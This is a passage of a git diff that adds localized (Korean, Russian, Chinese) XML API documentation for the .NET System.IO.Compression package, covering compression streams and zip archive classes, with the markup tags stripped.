관리되지 않는 리소스를 해제하고, 관리되는 리소스를 선택적으로 해제할 수 있습니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + 이 메서드의 현재 클래스에는 기능이 없습니다. + 스트림이 닫혀 있는 경우 + + + + + + 이 속성은 지원되지 않으며 항상 을 throw합니다. + long 값입니다. + 이 스트림에 이 속성이 지원되지 않는 경우 + + + + + + 이 속성은 지원되지 않으며 항상 을 throw합니다. + long 값입니다. + 이 스트림에 이 속성이 지원되지 않는 경우 + + + + + + 압축이 풀린 바이트 수를 지정된 바이트 배열로 읽어 들입니다. + 바이트 배열에 압축이 풀린 바이트 수입니다.스트림의 끝에 도달한 경우에는 0 또는 읽은 바이트 수가 반환됩니다. + 압축이 풀린 바이트를 저장하는 데 사용되는 배열입니다. + 읽은 바이트를 넣을 의 바이트 오프셋입니다. + 읽을 최대 압축 풀린 바이트 수입니다. + + 가 null인 경우 + 개체를 만들 때 값이 Compress였던 경우또는내부 스트림이 읽기를 지원하지 않는 경우 + + 또는 가 0보다 작은 경우또는 길이에서 인덱스 시작 위치를 뺀 값이 보다 작은 경우 + 데이터의 형식이 잘못된 경우 + 스트림이 닫혀 있는 경우 + + + 이 속성은 지원되지 않으며 항상 을 throw합니다. + long 값입니다. + 스트림 내의 위치입니다. + + 값 중 하나입니다. + 이 스트림에 이 속성이 지원되지 않는 경우 + + + 이 속성은 지원되지 않으며 항상 을 throw합니다. + 스트림의 길이입니다. + 이 스트림에 이 속성이 지원되지 않는 경우 + + + 지정된 바이트 배열에서 압축된 바이트를 내부 스트림에 씁니다. + 압축할 데이터가 들어 있는 버퍼입니다. + 바이트를 읽어올 의 바이트 오프셋입니다. + 쓸 최대 바이트 수입니다. + 스트림이 닫혀 있어서 쓰기 작업을 수행할 수 없는 경우 + + + Zip 보관 파일 형식으로 압축된 파일 패키지를 나타냅니다. + + + 지정된 스트림에서 클래스의 새 인스턴스를 초기화합니다. + 읽을 보관 저장소가 포함된 스트림입니다. + The stream is already closed or does not support reading. + + is null. + The contents of the stream are not in the zip archive format. + + + 지정된 모드를 사용하여 지정된 스트림에서 클래스의 새 인스턴스를 초기화합니다. + 입력 또는 출력 스트림입니다. + Zip 보관 파일이 엔트리를 읽거나 만들기 또는 업데이트하는 데 사용되는지를 나타내는 열거형 값 중 하나입니다. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + 지정된 모드에 대해 지정된 스트림에서 클래스의 새 인스턴스를 초기화하고 스트림을 선택적으로 연 상태로 둡니다. + 입력 또는 출력 스트림입니다. + Zip 보관 파일이 엔트리를 읽거나 만들기 또는 업데이트하는 데 사용되는지를 나타내는 열거형 값 중 하나입니다. + + 개체를 삭제한 후 스트림을 열어 두려면 true이고, 그렇지 않으면 false입니다. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + 지정된 모드에 대해 지정된 스트림에서 클래스의 새 인스턴스를 초기화하고 항목 이름에 대해 지정된 인코딩을 사용하며 스트림을 선택적으로 연 상태로 둡니다. + 입력 또는 출력 스트림입니다. + Zip 보관 파일이 엔트리를 읽거나 만들기 또는 업데이트하는 데 사용되는지를 나타내는 열거형 값 중 하나입니다. + + 개체를 삭제한 후 스트림을 열어 두려면 true이고, 그렇지 않으면 false입니다. + 이 보관 파일에서 이름을 읽거나 쓰는 동안 사용할 인코딩입니다.인코딩이 항목 이름에 대해 UTF-8 인코딩을 지원하지 않는 Zip 보관 도구와 라이브러리를 사용하여 상호 운용성에 인코딩이 필요할 때만 이 매개 변수에 대한 값을 지정합니다. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Zip 보관 파일에 지정된 경로 및 항목 이름을 가진 빈 항목을 만듭니다. + Zip 보관 파일의 빈 항목입니다. + 만들 항목의 이름을 지정하는, 보관 저장소의 루트에 상대적인 경로입니다. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + Zip 보관 파일에 지정된 항목 이름 및 압축 수준을 가진 빈 항목을 만듭니다. + Zip 보관 파일의 빈 항목입니다. + 만들 항목의 이름을 지정하는, 보관 저장소의 루트에 상대적인 경로입니다. + 항목을 만들 때 속도 또는 압축 효율을 강조할지를 나타내는 열거형 값 중 하나입니다. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + + 클래스의 현재 인스턴스에서 사용하는 리소스를 해제합니다. + + + + 클래스의 현재 인스턴스가 사용하는 관리되지 않는 리소스를 해제하기 위해 및 메서드에 의해 호출되며 선택적으로 보관 파일을 작성하고 관리되는 리소스를 해제합니다. + 보관 파일에 쓰기를 완료하고 관리되지 않은 리소스와 관리되는 리소스를 해제하려면 true이고, 관리되지 않은 리소스만 해제하려면 false입니다. + + + 현재 Zip 보관 파일에 있는 항목의 컬렉션을 가져옵니다. + 현재 Zip 보관 파일에 있는 항목의 컬렉션입니다. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Zip 보관 파일 항목에 대한 래퍼를 검색합니다. + 보관 저장소의 지정된 항목에 대한 래퍼이거나, 항목이 보관 저장소에 없는 경우 null입니다. + 검색할 항목을 식별하는, 보관 저장소의 루트에 상대적인 경로입니다. + + is . + + is null. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Zip 보관 파일이 엔트리에 대해 수행할 수 있는 동작의 유형을 나타내는 값을 가져옵니다. + 엔트리에 Zip 보관 파일을 보관할 수 있는 동작(읽기, 만들기 또는 업데이트) 유형을 설명하는 열거형 값 중 하나입니다. + + + Zip 보관 파일 내의 압축된 파일을 나타냅니다. + + + 엔트리가 속한 Zip 보관 파일을 가져옵니다. + 항목이 속하는 Zip 보관 파일이거나, 항목이 삭제된 경우 null입니다. + + + Zip 보관 파일에 있는 항목의 압축된 크기를 가져옵니다. + Zip 보관 파일에 있는 항목의 압축된 크기입니다. + The value of the property is not available because the entry has been modified. + + + Zip 보관 파일에서 항목을 삭제합니다. + The entry is already open for reading or writing. + The zip archive for this entry was opened in a mode other than . + The zip archive for this entry has been disposed. + + + Zip 보관 파일에 있는 항목의 상대 경로를 가져옵니다. + Zip 보관 파일에 있는 항목의 상대 경로입니다. + + + Zip 보관 파일의 항목이 마지막으로 변경된 시간을 가져오거나 설정합니다. + Zip 보관 파일의 항목이 마지막으로 변경된 시간입니다. + The attempt to set this property failed, because the zip archive for the entry is in mode. + The archive mode is set to .- or -The archive mode is set to and the entry has been opened. + An attempt was made to set this property to a value that is either earlier than 1980 January 1 0:00:00 (midnight) or later than 2107 December 31 23:59:58 (one second before midnight). + + + Zip 보관 파일에 있는 항목의 압축되지 않은 크기를 가져옵니다. + Zip 보관 파일에 있는 항목의 압축 해제된 크기입니다. + The value of the property is not available because the entry has been modified. + + + Zip 보관 파일에 있는 항목의 파일 이름을 가져옵니다. + Zip 보관 파일에 있는 항목의 파일 이름입니다. + + + Zip 보관 파일에서 항목을 엽니다. + 항목의 내용을 나타내는 스트림입니다. + The entry is already currently open for writing.-or-The entry has been deleted from the archive.-or-The archive for this entry was opened with the mode, and this entry has already been written to. + The entry is either missing from the archive or is corrupt and cannot be read. -or-The entry has been compressed by using a compression method that is not supported. + The zip archive for this entry has been disposed. + + + Zip 보관 파일에 있는 항목의 상대 경로를 검색합니다. + 항목의 상대 경로로, 속성에 저장된 값입니다. + + + Zip 보관 파일 항목과 상호 작용하기 위한 값을 지정합니다. + + + 새 보관 항목 만들기만 허용됩니다. + + + 보관 항목 읽기만 허용됩니다. + + + 보관 항목에 대해 읽기 및 쓰기 작업 모두가 허용됩니다. + + + \ No newline at end of file diff --git a/packages/System.IO.Compression.4.3.0/ref/netstandard1.1/ru/System.IO.Compression.xml b/packages/System.IO.Compression.4.3.0/ref/netstandard1.1/ru/System.IO.Compression.xml new file mode 100644 index 0000000..f901cb3 --- /dev/null +++ b/packages/System.IO.Compression.4.3.0/ref/netstandard1.1/ru/System.IO.Compression.xml @@ -0,0 +1,415 @@ + + + + System.IO.Compression + + + + Определяет значения, указывающие, для какой характеристики оптимизируется сжатие: скорость или размер. + + + Операция сжатия должна завершиться как можно быстрее, даже если результирующий файл не будет сжат оптимально. + + + Файл не требуется сжимать. + + + При операции сжатия должно применяться оптимальное сжатие, даже если это увеличивает длительность ее выполнения. + + + Задает, следует ли сжимать или распаковывать основной поток. + + + Сжимает основной поток. + + + Распаковывает основной поток. + + + Предоставляет методы и свойства для сжатия и распаковки потоков с использованием алгоритма Deflate. + + + Инициализирует новый экземпляр класса с использованием указанного потока и уровня сжатия. + Поток для сжатия. + Одно из значений перечисления, указывающее, чему отдается приоритет при сжатии потока: скорости или эффективности сжатия. + Свойство имеет значение null. + Поток не поддерживает операции записи, например сжатие.(Свойство в объекте потока имеет значение false). + + + Инициализирует новый экземпляр класса с помощью указанного потока и уровня сжатия, а также при необходимости оставляет поток открытым. + Поток для сжатия. + Одно из значений перечисления, указывающее, чему отдается приоритет при сжатии потока: скорости или эффективности сжатия. + Значение true, чтобы оставить объект потока открытым после удаления объекта ; в противном случае — значение false. + Свойство имеет значение null. + Поток не поддерживает операции записи, например сжатие.(Свойство в объекте потока имеет значение false). + + + Инициализирует новый экземпляр класса с использованием указанного потока и режима сжатия. + Поток, который нужно сжать или распаковать. + Одно из значений перечисления, указывающее, нужно ли выполнить сжатие или распаковку потока. + Свойство имеет значение null. + Параметр не является допустимым значением .-или- — и — false.-или- — и — false. + + + Инициализирует новый экземпляр класса с помощью указанного потока и режима сжатия, а также при необходимости оставляет поток открытым. + Поток, который нужно сжать или распаковать. + Одно из значений перечисления, указывающее, нужно ли выполнить сжатие или распаковку потока. + Значение true, чтобы оставить поток открытым после удаления объекта ; в противном случае — значение false. + Свойство имеет значение null. + Параметр не является допустимым значением .-или- — и — false.-или- — и — false. + + + Возвращает ссылку на основной поток. + Объект потока, представляющий основной поток. + Основной поток закрыт. + + + Возвращает значение, указывающее, поддерживает ли поток чтение во время распаковки файла. + Значение true, если значение равно Decompress, а основной поток открыт и поддерживает чтение; в противном случае — false. + + + Возвращает значение, указывающее, поддерживает ли поток поиск. + Значение false во всех случаях. + + + Возвращает значение, определяющее, поддерживает ли поток операции записи. + Значение true, если значение равно Compress, и основной поток поддерживает запись и не закрыт; в противном случае — false. + + + Освобождает неуправляемые ресурсы, используемые объектом , а при необходимости освобождает также управляемые ресурсы. + Значение true позволяет освободить как управляемые, так и неуправляемые ресурсы; значение false освобождает только неуправляемые ресурсы. + + + Текущая реализация этого метода не функциональна. + Поток закрыт. + + + + + + Это свойство не поддерживается и всегда вызывает исключение . + Значение типа long. + Для данного потока это свойство не поддерживается. + + + + + + Это свойство не поддерживается и всегда вызывает исключение . + Значение типа long. + Для данного потока это свойство не поддерживается. + + + + + + Считывает число распакованных байтов в указанный массив байтов. + Число байтов, которые были считаны в массив байтов. + Массив для хранения распакованных байтов. + Смещение в байтах в массиве , в который будут помещены считанные байты. + Максимальное число распакованных байтов для считывания. + Свойство имеет значение null. + При создании объекта значение было равно Compress.-или- Основной поток не поддерживает чтение. + Значение параметра или меньше нуля.-или-Длина массива минус начальная точка индекса меньше чем . + Недопустимый формат данных. + Поток закрыт. + + + Эта операция не поддерживается и всегда вызывает исключение . + Значение типа long. + Расположение в потоке. + Одно из значений . + Для данного потока это свойство не поддерживается. + + + Эта операция не поддерживается и всегда вызывает исключение . + Длина потока. + Для данного потока это свойство не поддерживается. + + + Записывает сжатые байты в основной поток из указанного массива байтов. + Буфер, содержащий данные для сжатия. + Смещение байтов в , из которого будут считываться байты. + Максимальное число байтов для записи. + + + Предоставляет методы и свойства, используемые для сжатия и распаковки потоков. + + + Инициализирует новый экземпляр класса с использованием указанного потока и уровня сжатия. + Поток, в который необходимо записать сжатые данные. + Одно из значений перечисления, указывающее, чему отдается приоритет при сжатии потока: скорости или эффективности сжатия. + Свойство имеет значение null. + Поток не поддерживает операции записи, например сжатие.(Свойство в объекте потока имеет значение false). + + + Инициализирует новый экземпляр класса с помощью указанного потока и уровня сжатия, а также при необходимости оставляет поток открытым. + Поток, в который необходимо записать сжатые данные. + Одно из значений перечисления, указывающее, чему отдается приоритет при сжатии потока: скорости или эффективности сжатия. + Значение true, чтобы оставить объект потока открытым после удаления объекта ; в противном случае — значение false. + Свойство имеет значение null. + Поток не поддерживает операции записи, например сжатие.(Свойство в объекте потока имеет значение false). + + + Инициализирует новый экземпляр класса с использованием указанного потока и режима сжатия. + Поток, в который записываются сжатые или распакованные данные. + Одно из значений перечисления, указывающее, нужно ли выполнить сжатие или распаковку потока. + Свойство имеет значение null. + + не является допустимым значением перечисления .-или- — и — false.-или- — и — false. + + + Инициализирует новый экземпляр класса с помощью указанного потока и режима сжатия, а также при необходимости оставляет поток открытым. + Поток, в который записываются сжатые или распакованные данные. + Одно из значений перечисления, указывающее, нужно ли выполнить сжатие или распаковку потока. + Значение true, чтобы оставить поток открытым после удаления объекта ; в противном случае — значение false. + Свойство имеет значение null. + Параметр не является допустимым значением .-или- — и — false.-или- — и — false. + + + Возвращает ссылку на основной поток. + Объект потока, представляющий основной поток. + Основной поток закрыт. + + + + + + Возвращает значение, указывающее, поддерживает ли поток чтение во время распаковки файла. + Значение true, если значение равно Decompress,, и основной поток поддерживает чтение и не закрыт; в противном случае — false. + + + + + + Возвращает значение, указывающее, поддерживает ли поток поиск. + Значение false во всех случаях. + + + Возвращает значение, определяющее, поддерживает ли поток операции записи. + Значение true, если значение равно Compress, и основной поток поддерживает запись и не закрыт; в противном случае — false. + + + + + + Освобождает неуправляемые ресурсы, используемые объектом , а при необходимости освобождает также и управляемые ресурсы. + Значение true позволяет освободить как управляемые, так и неуправляемые ресурсы; значение false освобождает только неуправляемые ресурсы. + + + Текущая реализация этого метода не функциональна. + Поток закрыт. + + + + + + Это свойство не поддерживается и всегда вызывает исключение . + Значение типа long. + Для данного потока это свойство не поддерживается. + + + + + + Это свойство не поддерживается и всегда вызывает исключение . + Значение типа long. + Для данного потока это свойство не поддерживается. + + + + + + Считывает число распакованных байтов в указанный массив байтов. + Число байтов, которые были распакованы в массив байтов.Если достигнут конец потока, возвращаемое значение представляет собой число считанных байтов или же равно нулю. + Массив, используемый для хранения распакованных байтов. + Смещение в байтах в массиве , в который будут помещены считанные байты. + Максимальное число распакованных байтов для считывания. + Свойство имеет значение null. + При создании объекта значение было равно Compress.-или-Основной поток не поддерживает чтение. + Значение параметра или меньше нуля.-или-Длина массива минус начальная точка индекса меньше чем . + Недопустимый формат данных. + Поток закрыт. + + + Это свойство не поддерживается и всегда вызывает исключение . + Значение типа long. + Расположение в потоке. + Одно из значений . + Для данного потока это свойство не поддерживается. + + + Это свойство не поддерживается и всегда вызывает исключение . + Длина потока. + Для данного потока это свойство не поддерживается. + + + Записывает сжатые байты в основной поток из указанного массива байтов. + Буфер, содержащий данные для сжатия. + Смещение байтов в , из которого будут считываться байты. + Максимальное число байтов для записи. + Операция записи не может быть выполнена, поскольку поток закрыт. + + + Представляет пакет сжатых файлов в формате ZIP архива. + + + Инициализирует новый экземпляр класса из заданного потока. + Поток, содержащий архив для чтения. + The stream is already closed or does not support reading. + + is null. + The contents of the stream are not in the zip archive format. + + + Инициализирует новый экземпляр класса из указанного потока с заданным режимом. + Входной или выходной поток. + Одно из значений перечисления, указывающее, для чтения, создания или обновления записей используется ZIP-архив. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Инициализирует новый экземпляр класса на указанном потоке для заданного режима, а также при необходимости оставляет поток открытым. + Входной или выходной поток. + Одно из значений перечисления, указывающее, для чтения, создания или обновления записей используется ZIP-архив. + Значение true, чтобы оставить поток открытым после удаления объекта ; в противном случае — значение false. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Инициализирует новый экземпляр класса на указанном потоке для заданного режима, использует указанную кодировку для кодировку для имен записей, а также, при необходимости, оставляет поток открытым. + Входной или выходной поток. + Одно из значений перечисления, указывающее, для чтения, создания или обновления записей используется ZIP-архив. + Значение true, чтобы оставить поток открытым после удаления объекта ; в противном случае — значение false. + Кодирование, используемое при чтении или записи имен записей в этом архиве.Задайте значение для этого параметра, только если кодирование требуется для взаимодействия с инструментами и библиотеками ZIP-архива, которые не поддерживают кодирование UTF-8 для имен записей. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Создает пустую запись, которая имеет указанные путь и имя записи в ZIP архиве. + Пустая запись в ZIP-архиве. + Путь относительно корня архива, который указывает имя создаваемой записи. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + Создает пустую запись, которая имеет указанные имя и уровень сжатия ZIP записи в архиве. + Пустая запись в ZIP-архиве. + Путь относительно корня архива, который указывает имя создаваемой записи. + Одно из значений перечисления, указывающее, акцентировать ли внимание на скорости или эффективности сжатия при создании записи. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + Освобождает ресурсы, используемые текущим экземпляром класса . + + + Вызывается методами и , чтобы освободить неуправляемые ресурсы, используемые текущим экземпляром класса . Дополнительно может заканчивать запись архива и высвобождать управляемые ресурсы. + Значение true — для завершения записи архива и освобождения управляемых и неуправляемых ресурсов; значение false — для освобождения только неуправляемых ресурсов. + + + Получает коллекцию записей, которые находятся в ZIP-архиве в текущий момент. + Коллекция записей, которые находятся в ZIP-архиве в текущий момент. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Извлекает оболочку для заданной записи в ZIP-архиве. + Программа-оболочка для определенной записи в архиве; null — если запись не существует в архиве. + Путь относительно корня архива, который указывает запись для получения. + + is . + + is null. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Получает значение, которое описывает тип действий, которые ZIP-архив может выполнять над записями. + Одно из значений перечисления, описывающее тип действия (чтение, создание или обновление), которое ZIP-архив может выполнять над записями. + + + Представляет сжатый файл внутри ZIP-архива. + + + Получает ZIP-архив, к которому принадлежит запись. + ZIP-архив, которому принадлежит запись, или значение null, если запись была удалена. + + + Получает сжатый размер записи в ZIP-архиве. + Сжатый размер записи в ZIP-архиве. + The value of the property is not available because the entry has been modified. + + + Удаляет запись из ZIP-архива. + The entry is already open for reading or writing. + The zip archive for this entry was opened in a mode other than . + The zip archive for this entry has been disposed. + + + Получает относительный путь записи в ZIP-архиве. + Относительный путь записи в ZIP-архиве. + + + Получает или задает время последнего изменения записи в ZIP-архиве. + Время последнего изменения записи в ZIP-архиве. + The attempt to set this property failed, because the zip archive for the entry is in mode. + The archive mode is set to .- or -The archive mode is set to and the entry has been opened. + An attempt was made to set this property to a value that is either earlier than 1980 January 1 0:00:00 (midnight) or later than 2107 December 31 23:59:58 (one second before midnight). + + + Получает несжатый размер записи в ZIP-архиве. + Несжатый размер записи в ZIP-архиве. + The value of the property is not available because the entry has been modified. + + + Получает имя файла записи в ZIP-архиве. + Имя файла записи в ZIP-архиве. + + + Открывает запись из ZIP-архива. + Поток, представляющий содержимое записи. + The entry is already currently open for writing.-or-The entry has been deleted from the archive.-or-The archive for this entry was opened with the mode, and this entry has already been written to. + The entry is either missing from the archive or is corrupt and cannot be read. -or-The entry has been compressed by using a compression method that is not supported. + The zip archive for this entry has been disposed. + + + Извлекает относительный путь записи в ZIP-архиве. + Относительный путь записи, который является значением, хранящимся в свойстве . + + + Определяет значения для взаимодействия с записями ZIP-архива. + + + Разрешено только создание новых записей архива. + + + Разрешено только чтение записей архива. + + + Операции чтение и запись разрешены для записей архива. + + + \ No newline at end of file diff --git a/packages/System.IO.Compression.4.3.0/ref/netstandard1.1/zh-hans/System.IO.Compression.xml b/packages/System.IO.Compression.4.3.0/ref/netstandard1.1/zh-hans/System.IO.Compression.xml new file mode 100644 index 0000000..d95c4c9 --- /dev/null +++ b/packages/System.IO.Compression.4.3.0/ref/netstandard1.1/zh-hans/System.IO.Compression.xml @@ -0,0 +1,436 @@ + + + + System.IO.Compression + + + + 指定表明是否压缩操作重点介绍速度或压缩大小的值。 + + + 即使结果文件未可选择性地压缩，压缩操作也应尽快完成。 + + + 该文件不应执行压缩。 + + + 即使操作要用更长的时间来完成，也应该可选性地压缩压缩操作。 + + + 指定是否压缩或解压缩基础流。 + + + 压缩基础流。 + + + 解压缩基础流。 + + + 提供使用 Deflate 算法压缩和解压缩流的方法和属性。 + + + 用指定的流和压缩级别初始化 类的新实例。 + 要压缩的流。 + 压缩流时，指示是否要强调速度或压缩效率的枚举值之一。 + + 为 null。 + 流不支持写入操作，如压缩。（流对象上的 属性是 false。） + + + 使用指定的流和压缩级别，初始化 类的新实例，有选择性的打开流。 + 要压缩的流。 + 压缩流时，指示是否要强调速度或压缩效率的枚举值之一。 + 如果在释放 对象之后打开流对象，则为 true；否则为 false。 + + 为 null。 + 流不支持写入操作，如压缩。（流对象上的 属性是 false。） + + + 用指定的流和压缩模式初始化 类的新实例。 + 要压缩或解压缩的流。 + 指示是要压缩还是解压缩流的枚举值之一。 + + 为 null。 + + 不是有效的 值。- 或 - 为 且 为 false。- 或 - 为 且 为 false。 + + + 使用指定的流和压缩模式，初始化 类的新实例，有选择性的打开流。 + 要压缩或解压缩的流。 + 指示是要压缩还是解压缩流的枚举值之一。 + 如果在释放 对象之后打开流，则为 true；否则为 false。 + + 为 null。 + + 不是有效的 值。- 或 - 为 且 为 false。- 或 - 为 且 为 false。 + + + 获取对基础流的引用。 + 表示基础流的流对象。 + 基础流已关闭。 + + + 获取一个值，该值指示流是否支持在解压缩文件的过程中读取文件。 + 如果 值为 Decompress 而且基础流已打开并支持读取，则为 true；否则为 false。 + + + 获取一个值，该值指示流是否支持查找。 + 在所有情况下均为 false。 + + + 获取一个值，该值指示流是否支持写入。 + 如果 值为 Compress 而且基础流未关闭并支持写入，则为 true；否则为 false。 + + + 释放由 占用的非托管资源，还可以释放托管资源。 + 若要释放托管资源和非托管资源，则为 true；若仅释放非托管资源，则为 false。 + + + 此方法的当前实现没有任何功能。 + 流已关闭。 + + + + + + 此属性不受支持，并且总是引发 。 + 一个长值。 + 此流中不支持此属性。 + + + + + + 此属性不受支持，并且总是引发 。 + 一个长值。 + 此流中不支持此属性。 + + + + + + 将若干解压缩的字节读入指定的字节数组。 + 已读入到字节数组中的字节数。 + 用于存储解压缩的字节的数组。 + + 中的字节偏移量，将在此处放置读取的字节。 + 最多要读取的解压缩字节数。 + + 为 null。 + 创建对象时 值是 Compress。- 或 - 基础流不支持读取。 + + 或 小于零。- 或 - 长度减去索引起始点小于 。 + 数据的格式无效。 + 流已关闭。 + + + 此操作不受支持，它总是引发 。 + 一个长值。 + 流中的位置。 + + 值之一。 + 此流中不支持此属性。 + + + 此操作不受支持，它总是引发 。 + 流的长度。 + 此流中不支持此属性。 + + + 从指定的字节数组中将压缩的字节写入基础流。 + 包含要压缩的数据的缓冲区。 + + 中的字节偏移量，将在此处读取字节。 + 最多写入的字节数。 + + + 提供用于压缩和解压缩流的方法和属性。 + + + 用指定的流和压缩级别初始化 类的新实例。 + 要将压缩数据写入到其中的流。 + 压缩流时，指示是否要强调速度或压缩效率的枚举值之一。 + + 为 null。 + 流不支持写入操作，如压缩。（流对象上的 属性是 false。） + + + 使用指定的流和压缩级别，初始化 类的新实例，有选择性的打开流。 + 要将压缩数据写入到其中的流。 + 压缩流时，指示是否要强调速度或压缩效率的枚举值之一。 + 如果在释放 对象之后打开流对象，则为 true；否则为 false。 + + 为 null。 + 流不支持写入操作，如压缩。（流对象上的 属性是 false。） + + + 用指定的流和压缩模式初始化 类的新实例。 + 压缩或解压缩后的数据被写入的流。 + 指示是要压缩还是解压缩流的枚举值之一。 + + 为 null。 + + 不是有效的 枚举值。- 或 - 为 且 为 false。- 或 - 为 且 为 false。 + + + 使用指定的流和压缩模式，初始化 类的新实例，有选择性的打开流。 + 压缩或解压缩后的数据被写入的流。 + 指示是要压缩还是解压缩流的枚举值之一。 + 如果在释放 对象之后打开流，则为 true；否则为 false。 + + 为 null。 + + 不是有效的 值。- 或 - 为 且 为 false。- 或 - 为 且 为 false。 + + + 获取对基础流的引用。 + 表示基础流的流对象。 + 基础流已关闭。 + + + + + + 获取一个值，该值指示流是否支持在解压缩文件的过程中读取文件。 + 如果 值为 Decompress, 而且基础流未关闭并支持读取，则为 true；否则为 false。 + + + + + + 获取一个值，该值指示流是否支持查找。 + 在所有情况下均为 false。 + + + 获取一个值，该值指示流是否支持写入。 + 如果 值为 Compress 而且基础流未关闭并支持写入，则为 true；否则为 false。 + + + + + + 释放由 占用的非托管资源，还可以释放托管资源。 + 若要释放托管资源和非托管资源，则为 true；若仅释放非托管资源，则为 false。 + + + 此方法的当前实现没有任何功能。 + 流已关闭。 + + + + + + 此属性不受支持，并且总是引发 。 + 一个长值。 + 此流中不支持此属性。 + + + + + + 此属性不受支持，并且总是引发 。 + 一个长值。 + 此流中不支持此属性。 + + + + + + 将若干解压缩的字节读入指定的字节数组。 + 解压缩到字节数组中的字节数。如果已到达流的末尾，则返回 0 或已读取的字节数。 + 用于存储解压缩字节的数组。 + + 中的字节偏移量，将在此处放置读取的字节。 + 最多要读取的解压缩字节数。 + + 为 null。 + 创建对象时 值是 Compress。- 或 -基础流不支持读取。 + + 或 小于零。- 或 - 长度减去索引起始点小于 。 + 数据的格式无效。 + 流已关闭。 + + + 此属性不受支持，并且总是引发 。 + 一个长值。 + 流中的位置。 + + 值之一。 + 此流中不支持此属性。 + + + 此属性不受支持，并且总是引发 。 + 流的长度。 + 此流中不支持此属性。 + + + 从指定的字节数组中将压缩的字节写入基础流。 + 包含要压缩的数据的缓冲区。 + + 中的字节偏移量，将在此处读取字节。 + 最多写入的字节数。 + 由于流已关闭，因此无法执行写入操作。 + + + 表示 Zip 存档格式中的一个压缩文件包。 + + + 从指定流初始化 类的新实例。 + 即包含待读取的存档的流。 + The stream is already closed or does not support reading. + + is null. + The contents of the stream are not in the zip archive format. + + + 在指定的模式下，从指定的流初始化 类的新实例。 + 输入流或输出流。 + 指示 zip 存档是否用于读取、创建或更新项的一个枚举值。 + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + 对于指定的模式，初始化指定流上的 类的新实例，并有选择性地使流保持打开状态。 + 输入流或输出流。 + 指示 zip 存档是否用于读取、创建或更新项的一个枚举值。 + 如果在释放 对象之后打开流对象，则为 true；否则为 false。 + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + 对于指定的模式，初始化指定流上的 类的新实例，使用项名的指定编码，并有择性地使流保持打开状态。 + 输入流或输出流。 + 指示 zip 存档是否用于读取、创建或更新项的一个枚举值。 + 如果在释放 对象之后打开流对象，则为 true；否则为 false。 + 在存档中读取或写入项名时使用的编码。仅当需要针对具有不支持项名的 UTF-8 编码的 zip 归档工具和库的互操作性进行编码时，为此参数指定一个值。 + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + 创建在 zip 存档中有指定路径和项名的空项。 + 在 zip 存档中的空项。 + 相对于存档的根的路径指定了要创建项的名称。 + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + 创建在 zip 存档中有指定项名和压缩级别的空项。 + 在 zip 存档中的空项。 + 相对于存档的根的路径指定了要创建项的名称。 + 指示创建项时是否强调速度或压缩有效性的枚举值之一。 + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + 释放 类的当前实例使用的资源。 + + + 由 和 方法调用，以释放 类的当前实例使用的未托管资源，并有选择性地完成编写存档以及释放托管资源。 + true 则完成编写存档并释放未托管和托管资源；false 则仅释放未托管资源。 + + + 获取 zip 存档中当前存在的项的集合。 + 在 zip 存档中当前存在的项的集合。 + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + 在 zip 存档中检索指定项的包装。 + 存档中指定项的包装器；如果存档中不存在此项目则为 null。 + 识别要检索的项、相对于存档的根的路径。 + + is . + + is null. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + 获取描述 zip 存档可在项上执行的操作类型的一个值。 + 描述 zip 存档可在项上执行的操作类型（读取、创建或更新）的一个枚举值。 + + + 表示 zip 档案中的压缩文件。 + + + 获取该项所属的 zip 存档。 + 项所属的 zip 存档，或如果已删除项，则为 null。 + + + 获取在 zip 存档中的项的压缩大小。 + 在 zip 存档中的项的压缩大小。 + The value of the property is not 